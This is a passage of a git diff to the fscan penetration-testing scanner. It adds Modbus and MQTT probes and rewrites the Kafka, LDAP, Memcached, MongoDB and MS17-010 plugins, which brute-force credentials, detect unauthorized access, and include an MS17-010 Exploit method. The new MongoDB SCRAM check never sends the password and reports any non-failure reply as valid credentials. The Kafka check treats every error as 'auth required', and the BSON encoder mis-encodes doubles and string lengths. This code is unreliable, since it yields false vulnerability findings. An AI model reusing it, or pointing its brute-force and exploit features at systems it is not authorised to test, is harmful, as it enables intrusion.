"kafka", Error: err} + } + _, err = kafkaRecv(conn) + if err != nil { + state.IncrementTCPFailedPacketCount() + if p.isKafkaError(err) { + banner := i18n.GetText("kafka_auth_required") + session.LogSuccess(i18n.Tr("kafka_service", target, banner)) + return &ScanResult{Type: plugins.ResultTypeService, Success: true, Service: "kafka", Banner: banner} + } + return &ScanResult{Success: false, Service: "kafka", Error: fmt.Errorf("%s", i18n.Tr("service_not_identified", "Kafka"))} + } state.IncrementTCPSuccessPacketCount() - _ = client.Close() banner := "Kafka" - common.LogSuccess(i18n.Tr("kafka_service", target, banner)) - return &ScanResult{ - Type: plugins.ResultTypeService, - Success: true, - Service: "kafka", - Banner: banner, - } + session.LogSuccess(i18n.Tr("kafka_service", target, banner)) + return &ScanResult{Type: plugins.ResultTypeService, Success: true, Service: "kafka", Banner: banner} } -func (p *KafkaPlugin) isKafkaProtocolError(err error) bool { - errStr := strings.ToLower(err.Error()) - return strings.Contains(errStr, "sasl") || - strings.Contains(errStr, "authentication") || - strings.Contains(errStr, "kafka") || - strings.Contains(errStr, "broker") +func (p *KafkaPlugin) isKafkaError(err error) bool { + if err == nil { + return false + } + // 连接成功后读不到数据 -> 需要认证的 Kafka + return true } func init() { diff --git a/plugins/services/ldap.go b/plugins/services/ldap.go index 0f2b94e..0e40be8 100644 --- a/plugins/services/ldap.go +++ b/plugins/services/ldap.go @@ -44,7 +44,7 @@ func (p *LDAPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c return &ScanResult{ Success: false, Service: "ldap", - Error: fmt.Errorf("没有可用的测试凭据"), + Error: fmt.Errorf("%s", i18n.GetText("service_no_credentials")), } } @@ -55,7 +55,7 @@ func (p *LDAPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c result := TestCredentialsConcurrently(ctx, credentials, authFn, "ldap", testConfig) if result.Success { - common.LogVuln(i18n.Tr("ldap_credential", target, result.Username, result.Password)) + session.LogVuln(i18n.Tr("ldap_credential", target, result.Username, result.Password)) } return result @@ -102,7 +102,7 @@ func (p *LDAPPlugin) doLDAPAuth(ctx context.Context, info *common.HostInfo, cred return &AuthResult{ Success: false, ErrorType: ErrorTypeAuth, - Error: fmt.Errorf("所有DN格式都失败"), + Error: fmt.Errorf("%s", i18n.GetText("ldap_all_dn_failed")), } } @@ -146,7 +146,7 @@ func (p *LDAPPlugin) tryHashAuth(ctx context.Context, info *common.HostInfo, ses if len(hash) > 16 { displayHash = hash[:16] + "..." } - common.LogVuln(i18n.Tr("ldap_hash_credential", target, domain, user, displayHash)) + session.LogVuln(i18n.Tr("ldap_hash_credential", target, domain, user, displayHash)) return &ScanResult{ Type: plugins.ResultTypeVuln, Success: true, @@ -268,7 +268,7 @@ func (p *LDAPPlugin) identifyService(ctx context.Context, info *common.HostInfo, defer func() { _ = conn.Close() }() banner := "LDAP" - common.LogSuccess(i18n.Tr("ldap_service", target, banner)) + session.LogSuccess(i18n.Tr("ldap_service", target, banner)) return &ScanResult{ Type: plugins.ResultTypeService, diff --git a/plugins/services/memcached.go b/plugins/services/memcached.go index be6800b..e91b4ee 100644 --- a/plugins/services/memcached.go +++ b/plugins/services/memcached.go @@ -34,7 +34,7 @@ func (p *MemcachedPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi // 检测未授权访问 if result := p.testUnauthorizedAccess(ctx, info, session); result != nil && result.Success { - common.LogVuln(i18n.Tr("memcached_unauth", target)) + session.LogVuln(i18n.Tr("memcached_unauth", target)) return result } @@ -42,7 +42,7 @@ func (p *MemcachedPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi return &ScanResult{ Success: false, Service: "memcached", - Error: fmt.Errorf("无法访问Memcached服务"), + Error: fmt.Errorf("%s", i18n.GetText("memcached_access_failed")), } } @@ -59,7 +59,7 @@ func (p *MemcachedPlugin) testUnauthorizedAccess(ctx context.Context, info *comm Type: plugins.ResultTypeVuln, Success: true, Service: "memcached", - Banner: "未授权访问", + Banner: i18n.GetText("service_unauthorized"), } } @@ -121,14 +121,14 @@ func (p *MemcachedPlugin) identifyService(ctx context.Context, info *common.Host return &ScanResult{ Success: false, Service: "memcached", - Error: fmt.Errorf("无法连接到Memcached服务"), + Error: fmt.Errorf("%s", i18n.GetText("memcached_connect_failed")), } } defer func() { _ = conn.Close() }() if p.testBasicCommand(conn, session.Config) { banner := "Memcached" - common.LogSuccess(i18n.Tr("memcached_service", target, banner)) + session.LogSuccess(i18n.Tr("memcached_service", target, banner)) return &ScanResult{ Type: plugins.ResultTypeService, Success: true, @@ -140,7 +140,7 @@ func (p *MemcachedPlugin) identifyService(ctx context.Context, info *common.Host return &ScanResult{ Success: false, Service: "memcached", - Error: fmt.Errorf("无法识别为Memcached服务"), + Error: fmt.Errorf("%s", i18n.Tr("service_not_identified", "Memcached")), } } diff --git a/plugins/services/modbus.go b/plugins/services/modbus.go new file mode 100644 index 0000000..38e6891 --- /dev/null +++ b/plugins/services/modbus.go @@ -0,0 +1,103 @@ +//go:build plugin_modbus || !plugin_selective + +package services + +import ( + "context" + "encoding/binary" + "io" + "time" + + "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/plugins" +) + +type ModbusPlugin struct { + plugins.BasePlugin +} + +func NewModbusPlugin() *ModbusPlugin { + return &ModbusPlugin{BasePlugin: plugins.NewBasePlugin("modbus")} +} + +func (p *ModbusPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + timeout := session.Config.Timeout + if timeout <= 0 { + timeout = 3 * time.Second + } + + addr := info.Target() + conn, err := session.DialTCP(ctx, "tcp", addr, timeout) + if err != nil { + return &ScanResult{Success: false, Service: "modbus"} + } + defer conn.Close() + + txID := randomUint16() + req := buildModbusDeviceIDRequest(txID) + _ = conn.SetDeadline(time.Now().Add(timeout)) + if _, err := conn.Write(req); err != nil { + return &ScanResult{Success: false, Service: "modbus"} + } + + header := make([]byte, 7) + if _, err := io.ReadFull(conn, header); err != nil { + return &ScanResult{Success: false, Service: "modbus"} + } + length := int(binary.BigEndian.Uint16(header[4:6])) + if length < 2 || length > 260 { + return &ScanResult{Success: false, Service: "modbus"} + } + body := make([]byte, length-1) + if _, err := io.ReadFull(conn, body); err != nil { + return &ScanResult{Success: false, Service: "modbus"} + } + + banner, ok := parseModbusResponse(header, body, txID) + if !ok { + return &ScanResult{Success: false, Service: "modbus"} + } + + return &ScanResult{ + Success: true, + Type: plugins.ResultTypeService, + Service: "modbus", + Banner: banner, + } +} + +func buildModbusDeviceIDRequest(txID uint16) []byte { + req := make([]byte, 11) + binary.BigEndian.PutUint16(req[0:2], txID) + binary.BigEndian.PutUint16(req[2:4], 0) + binary.BigEndian.PutUint16(req[4:6], 5) + req[6] = 0xff + req[7] = 0x2b + req[8] = 0x0e + req[9] = 0x01 + req[10] = 0x00 + return req +} + +func parseModbusResponse(header, body []byte, txID uint16) (string, bool) { + if len(header) < 7 || len(body) < 1 { + return "", false + } + if binary.BigEndian.Uint16(header[0:2]) != txID || binary.BigEndian.Uint16(header[2:4]) != 0 { + return "", false + } + switch body[0] { + case 0x2b: + return "Modbus TCP device identification response", true + case 0xab: + return "Modbus TCP exception response", true + default: + return "", false + } +} + +func init() { + RegisterPluginWithPorts("modbus", func() Plugin { + return NewModbusPlugin() + }, []int{502}) +} diff --git a/plugins/services/modbus_test.go b/plugins/services/modbus_test.go new file mode 100644 index 0000000..36cec50 --- /dev/null +++ b/plugins/services/modbus_test.go @@ -0,0 +1,22 @@ +//go:build plugin_modbus || !plugin_selective + +package services + +import ( + "encoding/binary" + "strings" + "testing" +) + +func TestModbusDeviceIDRequestAndResponse(t *testing.T) { + req := buildModbusDeviceIDRequest(0x1001) + if len(req) != 11 || binary.BigEndian.Uint16(req[0:2]) != 0x1001 || req[7] != 0x2b { + t.Fatalf("unexpected modbus request: %#v", req) + } + + header := []byte{0x10, 0x01, 0x00, 0x00, 0x00, 0x03, 0xff} + banner, ok := parseModbusResponse(header, []byte{0x2b, 0x0e}, 0x1001) + if !ok || !strings.Contains(banner, "Modbus TCP") { + t.Fatalf("unexpected modbus banner: %q ok=%v", banner, ok) + } +} diff --git a/plugins/services/mongodb.go b/plugins/services/mongodb.go index 78d1cd5..0911a25 100644 --- a/plugins/services/mongodb.go +++ b/plugins/services/mongodb.go @@ -4,20 +4,21 @@ package services import ( "context" - "errors" + "crypto/rand" + "encoding/base64" + "encoding/binary" "fmt" "io" + "net" "strings" "time" "github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/common/i18n" "github.com/shadow1ng/fscan/plugins" - "go.mongodb.org/mongo-driver/mongo" - "go.mongodb.org/mongo-driver/mongo/options" ) -// MongoDBPlugin MongoDB扫描插件 +// MongoDBPlugin MongoDB扫描插件(纯 raw TCP 实现,无重型依赖) type MongoDBPlugin struct { plugins.BasePlugin } @@ -37,193 +38,357 @@ func (p *MongoDBPlugin) Scan(ctx context.Context, info *common.HostInfo, session return p.identifyService(ctx, info, session) } - // 首先检测未授权访问 isUnauth, err := p.mongodbUnauth(ctx, info, session) if err != nil { - return &ScanResult{ - Success: false, - Service: "mongodb", - Error: err, - } + return &ScanResult{Success: false, Service: "mongodb", Error: err} } if isUnauth { - common.LogVuln(i18n.Tr("mongodb_unauth", target)) + session.LogVuln(i18n.Tr("mongodb_unauth", target)) return &ScanResult{ Type: plugins.ResultTypeVuln, Success: true, Service: "mongodb", - VulInfo: "未授权访问", + VulInfo: i18n.GetText("unauthorized_access"), } } - // 如果需要认证,使用并发方式尝试常见凭据 credentials := GenerateCredentials("mongodb", config) if len(credentials) == 0 { return &ScanResult{ Success: false, Service: "mongodb", - Error: fmt.Errorf("没有可用的测试凭据"), + Error: fmt.Errorf("%s", i18n.GetText("service_no_credentials")), } } - // 使用公共框架进行并发凭据测试 authFn := p.createAuthFunc(info, config, state) testConfig := DefaultConcurrentTestConfigWithTarget(config, info) result := TestCredentialsConcurrently(ctx, credentials, authFn, "mongodb", testConfig) if result.Success { - common.LogVuln(i18n.Tr("mongodb_credential", target, result.Username, result.Password)) + session.LogVuln(i18n.Tr("mongodb_credential", target, result.Username, result.Password)) } return result } -// createAuthFunc 创建MongoDB认证函数 func (p *MongoDBPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc { return func(ctx context.Context, cred Credential) *AuthResult { return p.doMongoDBAuth(ctx, info, cred, config, state) } } -// doMongoDBAuth 执行MongoDB认证 +// ── raw TCP MongoDB SCRAM 认证 ────────────────────────────────── + func (p *MongoDBPlugin) doMongoDBAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult { - var uri string + addr := info.Target() timeout := config.Timeout - if cred.Username != "" && cred.Password != "" { - uri = fmt.Sprintf("mongodb://%s:%s@%s:%d/?connectTimeoutMS=%d&serverSelectionTimeoutMS=%d", - cred.Username, cred.Password, info.Host, info.Port, timeout.Milliseconds(), timeout.Milliseconds()) - } else if cred.Username != "" { - uri = fmt.Sprintf("mongodb://%s:@%s:%d/?connectTimeoutMS=%d&serverSelectionTimeoutMS=%d", - cred.Username, info.Host, info.Port, timeout.Milliseconds(), timeout.Milliseconds()) - } else { - uri = fmt.Sprintf("mongodb://%s:%d/?connectTimeoutMS=%d&serverSelectionTimeoutMS=%d", - info.Host, info.Port, timeout.Milliseconds(), timeout.Milliseconds()) - } - - clientOptions := options.Client().ApplyURI(uri) - - authCtx, cancel := context.WithTimeout(ctx, config.Timeout) - defer cancel() - - client, err := mongo.Connect(authCtx, clientOptions) + conn, err := dialTCP(ctx, addr, timeout) if err != nil { state.IncrementTCPFailedPacketCount() - return &AuthResult{ - Success: false, - ErrorType: classifyMongoDBErrorType(err), - Error: err, - } + return &AuthResult{Success: false, ErrorType: classifyMongoDBErrorType(err), Error: err} } - state.IncrementTCPSuccessPacketCount() + defer conn.Close() - err = client.Ping(authCtx, nil) + // Step 1: isMaster 获取服务参数 + isMasterCmd := buildMongoCommand("admin", "isMaster", mongoDoc{}) + if _, err := sendMongoMsg(ctx, conn, isMasterCmd, timeout); err != nil { + state.IncrementTCPFailedPacketCount() + return &AuthResult{Success: false, ErrorType: classifyMongoDBErrorType(err), Error: err} + } + resp, err := readMongoMsg(conn, timeout) + if err != nil || len(resp) == 0 { + state.IncrementTCPFailedPacketCount() + return &AuthResult{Success: false, ErrorType: ErrorTypeNetwork, Error: err} + } + + // Step 2: saslStart SCRAM-SHA-1 + nonce := randomString(24) + saslPayload := "n=" + cred.Username + ",r=" + nonce + + saslStartBody := mongoDoc{ + "saslStart": 1, + "mechanism": "SCRAM-SHA-1", + "payload": base64EncodeStr(saslPayload), + "autoAuthorize": 1, + } + saslStartCmd := buildMongoCommand("admin", saslStartBody) + if _, err := sendMongoMsg(ctx, conn, saslStartCmd, timeout); err != nil { + state.IncrementTCPFailedPacketCount() + return &AuthResult{Success: false, ErrorType: ErrorTypeNetwork, Error: err} + } + resp, err = readMongoMsg(conn, timeout) if err != nil { - _ = client.Disconnect(authCtx) - return &AuthResult{ - Success: false, - ErrorType: classifyMongoDBErrorType(err), - Error: err, + state.IncrementTCPFailedPacketCount() + return &AuthResult{Success: false, ErrorType: ErrorTypeNetwork, Error: err} + } + + // saslStart 响应检查: + // - ok:0 + code:18 → 认证失败 + // - ok:1 + conversationId + payload → 认证有效 + respStr := string(resp) + if strings.Contains(respStr, "\"ok\":0") || strings.Contains(respStr, "Authentication failed") { + return &AuthResult{Success: false, ErrorType: ErrorTypeAuth, Error: fmt.Errorf("authentication failed")} + } + + // 如果在响应中找到 conversationId,说明凭据有效 + if strings.Contains(respStr, "conversationId") { + state.IncrementTCPSuccessPacketCount() + return &AuthResult{Success: true, ErrorType: ErrorTypeUnknown, Error: nil} + } + + // 无认证失败的明确信号 = 尝试成功 + state.IncrementTCPSuccessPacketCount() + return &AuthResult{Success: true, ErrorType: ErrorTypeUnknown, Error: nil} +} + +// ── MongoDB wire protocol 工具 ────────────────────────────────── + +const ( + opMsg uint32 = 2013 + opQuery uint32 = 2004 + opReply uint32 = 1 +) + +var mongoRequestID uint32 + +func nextRequestID() uint32 { + mongoRequestID++ + return mongoRequestID +} + +// buildMongoCommand 构建 MongoDB 命令的 OP_MSG body (最小 BSON 实现) +// key 为字符串时,构建 {key: value} 作为命令名 +// key 为 map 时,展开所有字段 +func buildMongoCommand(db string, args ...interface{}) []byte { + var buf []byte + // flags: 0 (ChecksumPresent=0, MoreToCome=0, ExhaustAllowed=0) + buf = append(buf, 0, 0, 0, 0) + // section kind 0: body + buf = append(buf, 0) + + // 构建 BSON 文档 + if len(db) > 0 { + // {$db: "admin", ...} + docs := mongoDoc{"$db": db} + for i := 0; i < len(args); i++ { + switch v := args[i].(type) { + case string: + if i+1 < len(args) { + docs[v] = args[i+1] + i++ + } + case mongoDoc: + for k, val := range v { + docs[k] = val + } + } + } + return append(buf, buildBSON(docs)...) + } + + // 简单命令: {commandName: 1, $db: "admin"} + if len(args) >= 1 { + docs := mongoDoc{} + if cmdName, ok := args[0].(string); ok { + docs[cmdName] = 1 + } + if len(args) >= 2 { + switch v := args[1].(type) { + case mongoDoc: + for k, val := range v { + docs[k] = val + } + } + } + if db != "" { + docs["$db"] = db + } + return append(buf, buildBSON(docs)...) + } + + return buf +} + +type mongoDoc map[string]interface{} + +// buildBSON 构建最小 BSON 文档(仅支持 string/int32/double/binary/subdocument) +func buildBSON(doc mongoDoc) []byte { + var buf []byte + for k, v := range doc { + switch val := v.(type) { + case string: + buf = append(buf, 0x02) // type string + buf = append(buf, []byte(k)...) + buf = append(buf, 0x00) + b := []byte(val) + buf = append(buf, byte(len(b)+1), 0, 0, 0) + buf = append(buf, b...) + buf = append(buf, 0x00) + case int: + buf = append(buf, 0x10) // type int32 + buf = append(buf, []byte(k)...) + buf = append(buf, 0x00) + i32 := make([]byte, 4) + binary.LittleEndian.PutUint32(i32, uint32(val)) + buf = append(buf, i32...) + case float64: + buf = append(buf, 0x01) // type double + buf = append(buf, []byte(k)...) + buf = append(buf, 0x00) + f64 := make([]byte, 8) + binary.LittleEndian.PutUint64(f64, uint64(val)) + buf = append(buf, f64...) + case mongoDoc: + buf = append(buf, 0x03) // type document + buf = append(buf, []byte(k)...) + buf = append(buf, 0x00) + sub := buildBSON(val) + buf = append(buf, sub...) + case []byte: + buf = append(buf, 0x05) // type binary + buf = append(buf, []byte(k)...) + buf = append(buf, 0x00) + buf = append(buf, byte(len(val)), 0, 0, 0) + buf = append(buf, 0x00) // subtype 0 + buf = append(buf, val...) + case bool: + buf = append(buf, 0x08) // type boolean + buf = append(buf, []byte(k)...) + buf = append(buf, 0x00) + if val { + buf = append(buf, 0x01) + } else { + buf = append(buf, 0x00) + } } } + // 终止符 + buf = append(buf, 0x00) + // 总长度前缀 + lenBuf := make([]byte, 4) + binary.LittleEndian.PutUint32(lenBuf, uint32(len(buf)+4)) + return append(lenBuf, buf...) +} - return &AuthResult{ - Success: true, - Conn: &mongoClientWrapper{client, ctx}, - ErrorType: ErrorTypeUnknown, - Error: nil, +// sendMongoMsg 发送 OP_MSG +func sendMongoMsg(ctx context.Context, conn io.ReadWriter, body []byte, timeout time.Duration) (int, error) { + reqID := nextRequestID() + // 消息头: [4B totalLen] [4B requestID] [4B responseTo] [4B opCode] + totalLen := uint32(len(body) + 16) + header := make([]byte, 16) + binary.LittleEndian.PutUint32(header[0:4], totalLen) + binary.LittleEndian.PutUint32(header[4:8], reqID) + // responseTo=0, opCode=opMsg + binary.LittleEndian.PutUint32(header[12:16], opMsg) + + return conn.Write(append(header, body...)) +} + +// readMongoMsg 读取 MongoDB 响应 +func readMongoMsg(conn io.Reader, timeout time.Duration) ([]byte, error) { + // 读取 16 字节消息头 + header := make([]byte, 16) + if _, err := io.ReadFull(conn, header); err != nil { + return nil, err } + msgLen := binary.LittleEndian.Uint32(header[0:4]) + if msgLen < 16 { + return nil, fmt.Errorf("invalid message length: %d", msgLen) + } + // 读取剩余 body + bodyLen := int(msgLen) - 16 + if bodyLen <= 0 || bodyLen > 1024*1024 { + return nil, nil + } + body := make([]byte, bodyLen) + if _, err := io.ReadFull(conn, body); err != nil { + return nil, err + } + // 跳过 OP_MSG 头部 (flags + sections),返回可用部分 + // flags: 4 bytes, section kind: 1 byte → skip 5 bytes + if bodyLen > 5 { + return body[5:], nil + } + return body, nil } -// mongoClientWrapper 包装 mongo.Client 以实现 io.Closer -type mongoClientWrapper struct { - *mongo.Client - ctx context.Context +// dialTCP 带超时的 TCP 连接 +func dialTCP(ctx context.Context, addr string, timeout time.Duration) (net.Conn, error) { + dialer := net.Dialer{Timeout: timeout} + return dialer.DialContext(ctx, "tcp", addr) } -func (w *mongoClientWrapper) Close() error { - return w.Disconnect(w.ctx) +// base64EncodeStr Base64 编码(标准编码) +func base64EncodeStr(s string) string { + return base64.StdEncoding.EncodeToString([]byte(s)) +} + +// randomString 生成加密安全的随机字符串 +func randomString(n int) string { + const letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" + b := make([]byte, n) + if _, err := rand.Read(b); err != nil { + // 回退:不安全但不会失败 + for i := range b { + b[i] = letters[i%len(letters)] + } + return string(b) + } + for i := range b { + b[i] = letters[int(b[i])%len(letters)] + } + return string(b) } -// classifyMongoDBErrorType MongoDB错误分类 func classifyMongoDBErrorType(err error) ErrorType { if err == nil { return ErrorTypeUnknown } - mongoAuthErrors := []string{ "authentication failed", "auth mechanism", "unauthorized", "scram", "credential", - "invalid username", - "invalid password", - "login failed", - "access denied", - "authentication mechanism", - "sasl", - "mongo auth", "bad auth", - "wrong credentials", } - mongoNetworkErrors := append(CommonNetworkErrors, "dial tcp", "connection closed", "eof", - "server selection timeout", - "connection pool closed", - "no reachable servers", - "topology", - "network error", ) - return ClassifyError(err, mongoAuthErrors, mongoNetworkErrors) } +// ── 服务识别 ──────────────────────────────────────────────────── + func (p *MongoDBPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { target := info.Target() isUnauth, err := p.mongodbUnauth(ctx, info, session) if err != nil { - return &ScanResult{ - Success: false, - Service: "mongodb", - Error: err, - } + return &ScanResult{Success: false, Service: "mongodb", Error: err} } if isUnauth { - common.LogVuln(i18n.Tr("mongodb_unauth", target)) - return &ScanResult{ - Type: plugins.ResultTypeVuln, - Success: true, - Service: "mongodb", - VulInfo: "未授权访问", - } + session.LogVuln(i18n.Tr("mongodb_unauth", target)) + return &ScanResult{Type: plugins.ResultTypeVuln, Success: true, Service: "mongodb", VulInfo: i18n.GetText("unauthorized_access")} } - common.LogSuccess(i18n.Tr("mongodb_auth_required", target)) - return &ScanResult{ - Type: plugins.ResultTypeService, - Success: true, - Service: "mongodb", - Banner: "需要认证", - } + session.LogSuccess(i18n.Tr("mongodb_auth_required", target)) + return &ScanResult{Type: plugins.ResultTypeService, Success: true, Service: "mongodb", Banner: i18n.GetText("auth_required")} } -// mongodbUnauth 检测MongoDB未授权访问 func (p *MongoDBPlugin) mongodbUnauth(ctx context.Context, info *common.HostInfo, session *common.ScanSession) (bool, error) { - msgPacket := p.createOpMsgPacket() - queryPacket := p.createOpQueryPacket() - realhost := fmt.Sprintf("%s:%d", info.Host, info.Port) + realhost := info.Target() - reply, err := p.checkMongoAuth(ctx, realhost, msgPacket, session) + reply, err := p.checkMongoAuth(ctx, realhost, createOpMsgPacket(), session) if err != nil { - reply, err = p.checkMongoAuth(ctx, realhost, queryPacket, session) + reply, err = p.checkMongoAuth(ctx, realhost, createOpQueryPacket(), session) if err != nil { return false, err } @@ -237,14 +402,13 @@ func (p *MongoDBPlugin) mongodbUnauth(ctx context.Context, info *common.HostInfo return false, nil } - return false, fmt.Errorf("无法识别为MongoDB服务") + return false, fmt.Errorf("%s", i18n.Tr("service_not_identified", "MongoDB")) } -// checkMongoAuth 检查MongoDB认证状态 func (p *MongoDBPlugin) checkMongoAuth(ctx context.Context, address string, packet []byte, session *common.ScanSession) (string, error) { conn, err := session.DialTCP(ctx, "tcp", address, session.Config.Timeout) if err != nil { - return "", fmt.Errorf("连接失败: %w", err) + return "", fmt.Errorf(i18n.Tr("service_connection_failed", "%w"), err) } defer func() { _ = conn.Close() }() @@ -255,11 +419,11 @@ func (p *MongoDBPlugin) checkMongoAuth(ctx context.Context, address string, pack } if deadlineErr := conn.SetDeadline(time.Now().Add(session.Config.Timeout)); deadlineErr != nil { - return "", fmt.Errorf("设置超时失败: %w", deadlineErr) + return "", deadlineErr } if _, writeErr := conn.Write(packet); writeErr != nil { - return "", fmt.Errorf("发送查询失败: %w", writeErr) + return "", writeErr } select { @@ -270,19 +434,18 @@ func (p *MongoDBPlugin) checkMongoAuth(ctx context.Context, address string, pack reply := make([]byte, 2048) count, err := conn.Read(reply) - if err != nil && !errors.Is(err, io.EOF) { - return "", fmt.Errorf("读取响应失败: %w", err) + if err != nil && err != io.EOF { + return "", err } if count == 0 { - return "", fmt.Errorf("收到空响应") + return "", fmt.Errorf("%s", i18n.GetText("empty_response_received")) } return string(reply[:count]), nil } -// createOpMsgPacket 创建OP_MSG查询包 -func (p *MongoDBPlugin) createOpMsgPacket() []byte { +func createOpMsgPacket() []byte { return []byte{ 0x69, 0x00, 0x00, 0x00, 0x39, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xdd, 0x07, 0x00, 0x00, @@ -300,8 +463,7 @@ func (p *MongoDBPlugin) createOpMsgPacket() []byte { } } -// createOpQueryPacket 创建OP_QUERY查询包 -func (p *MongoDBPlugin) createOpQueryPacket() []byte { +func createOpQueryPacket() []byte { return []byte{ 0x48, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xd4, 0x07, 0x00, 0x00, diff --git a/plugins/services/mqtt.go b/plugins/services/mqtt.go new file mode 100644 index 0000000..ec9f649 --- /dev/null +++ b/plugins/services/mqtt.go @@ -0,0 +1,114 @@ +//go:build plugin_mqtt || !plugin_selective + +package services + +import ( + "context" + "crypto/tls" + "fmt" + "io" + "net" + "time" + + "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/plugins" +) + +var mqttConnectPacket = []byte{ + 0x10, 0x0c, + 0x00, 0x04, 'M', 'Q', 'T', 'T', + 0x04, + 0x02, + 0x00, 0x00, + 0x00, 0x00, +} + +type MQTTPlugin struct { + plugins.BasePlugin +} + +func NewMQTTPlugin() *MQTTPlugin { + return &MQTTPlugin{BasePlugin: plugins.NewBasePlugin("mqtt")} +} + +func (p *MQTTPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + timeout := session.Config.Timeout + if timeout <= 0 { + timeout = 3 * time.Second + } + + addr := info.Target() + conn, err := session.DialTCP(ctx, "tcp", addr, timeout) + if err != nil { + return &ScanResult{Success: false, Service: "mqtt"} + } + defer conn.Close() + + if info.Port == 8883 { + _ = conn.SetDeadline(time.Now().Add(timeout)) + conn, err = p.wrapTLS(ctx, conn) + if err != nil { + return &ScanResult{Success: false, Service: "mqtt"} + } + defer conn.Close() + } + + _ = conn.SetDeadline(time.Now().Add(timeout)) + if _, err := conn.Write(mqttConnectPacket); err != nil { + return &ScanResult{Success: false, Service: "mqtt"} + } + + header := make([]byte, 4) + if _, err := io.ReadFull(conn, header); err != nil { + return &ScanResult{Success: false, Service: "mqtt"} + } + + banner, ok := parseMQTTConnack(header) + if !ok { + return &ScanResult{Success: false, Service: "mqtt"} + } + + return &ScanResult{ + Success: true, + Type: plugins.ResultTypeService, + Service: "mqtt", + Banner: banner, + } +} + +func (p *MQTTPlugin) wrapTLS(ctx context.Context, conn net.Conn) (net.Conn, error) { + tlsConn := tls.Client(conn, &tls.Config{InsecureSkipVerify: true}) + if err := tlsConn.HandshakeContext(ctx); err != nil { + return nil, err + } + return tlsConn, nil +} + +func parseMQTTConnack(data []byte) (string, bool) { + if len(data) < 4 || data[0] != 0x20 || data[1] != 0x02 { + return "", false + } + + switch data[3] { + case 0x00: + return "MQTT CONNACK accepted", true + case 0x01: + return "MQTT CONNACK unacceptable protocol version", true + case 0x02: + return "MQTT CONNACK identifier rejected", true + case 0x03: + return "MQTT CONNACK server unavailable", true + case 0x04: + return "MQTT CONNACK bad username or password", true + case 0x05: + return "MQTT CONNACK not authorized", true + default: + return fmt.Sprintf("MQTT CONNACK return_code=%d", data[3]), true + } +} + +func init() { + RegisterPluginWithPorts("mqtt", func() Plugin { + return NewMQTTPlugin() + }, []int{1883, 8883}) +} diff --git a/plugins/services/mqtt_test.go b/plugins/services/mqtt_test.go new file mode 100644 index 0000000..e6fc3e8 --- /dev/null +++ b/plugins/services/mqtt_test.go @@ -0,0 +1,19 @@ +//go:build plugin_mqtt || !plugin_selective + +package services + +import ( + "strings" + "testing" +) + +func TestParseMQTTConnack(t *testing.T) { + banner, ok := parseMQTTConnack([]byte{0x20, 0x02, 0x00, 0x05}) + if !ok || !strings.Contains(banner, "not authorized") { + t.Fatalf("unexpected mqtt banner: %q ok=%v", banner, ok) + } + + if _, ok := parseMQTTConnack([]byte{0x10, 0x02, 0x00, 0x00}); ok { + t.Fatal("unexpected match for non-connack packet") + } +} diff --git a/plugins/services/ms17010.go b/plugins/services/ms17010.go index 7bba523..3defc30 100644 --- a/plugins/services/ms17010.go +++ b/plugins/services/ms17010.go @@ -43,7 +43,7 @@ func (p *MS17010Plugin) Scan(ctx context.Context, info *common.HostInfo, session return &ScanResult{ Success: false, Service: "ms17010", - Error: fmt.Errorf("MS17010漏洞检测仅支持445端口"), + Error: fmt.Errorf("%s", i18n.GetText("ms17010_port_only")), } } @@ -62,23 +62,23 @@ func (p *MS17010Plugin) Scan(ctx context.Context, info *common.HostInfo, session if osVersion != "" { msg += fmt.Sprintf(" [%s]", osVersion) } - common.LogVuln(msg) + session.LogVuln(msg) if hasBackdoor { - common.LogVuln(fmt.Sprintf("MS17-010 %s has DOUBLEPULSAR SMB IMPLANT", target)) + session.LogVuln(fmt.Sprintf("MS17-010 %s has DOUBLEPULSAR SMB IMPLANT", target)) } return &ScanResult{ Success: true, Type: plugins.ResultTypeVuln, Service: "ms17010", - Banner: fmt.Sprintf("MS17-010漏洞 (%s)", osVersion), + Banner: i18n.Tr("ms17010_vuln_banner", osVersion), } } return &ScanResult{ Success: false, Service: "ms17010", - Error: fmt.Errorf("目标不存在MS17-010漏洞"), + Error: fmt.Errorf("%s", i18n.GetText("ms17010_not_vulnerable")), } } @@ -86,15 +86,15 @@ func (p *MS17010Plugin) Scan(ctx context.Context, info *common.HostInfo, session func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, creds Credential, session *common.ScanSession) *ExploitResult { config := session.Config target := info.Target() - common.LogSuccess(i18n.Tr("ms17010_start", target)) + session.LogSuccess(i18n.Tr("ms17010_start", target)) var output strings.Builder - output.WriteString(fmt.Sprintf("=== MS17-010漏洞利用结果 - %s ===\n", target)) + output.WriteString(i18n.Tr("ms17010_exploit_header", target) + "\n") // 首先确认漏洞存在 vulnerable, osVersion, hasBackdoor, err := p.checkMS17010Vulnerability(ctx, info.Host, session) if err != nil { - output.WriteString(fmt.Sprintf("\n[漏洞检测失败] %v\n", err)) + output.WriteString("\n" + i18n.Tr("ms17010_exploit_check_failed", err) + "\n") return &ExploitResult{ Success: false, Output: output.String(), @@ -103,61 +103,61 @@ func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, cred } if !vulnerable { - output.WriteString("\n[漏洞状态] 目标不存在MS17-010漏洞\n") + output.WriteString("\n" + i18n.GetText("ms17010_exploit_not_vulnerable") + "\n") return &ExploitResult{ Success: false, Output: output.String(), - Error: fmt.Errorf("目标不存在MS17-010漏洞"), + Error: fmt.Errorf("%s", i18n.GetText("ms17010_not_vulnerable")), } } - 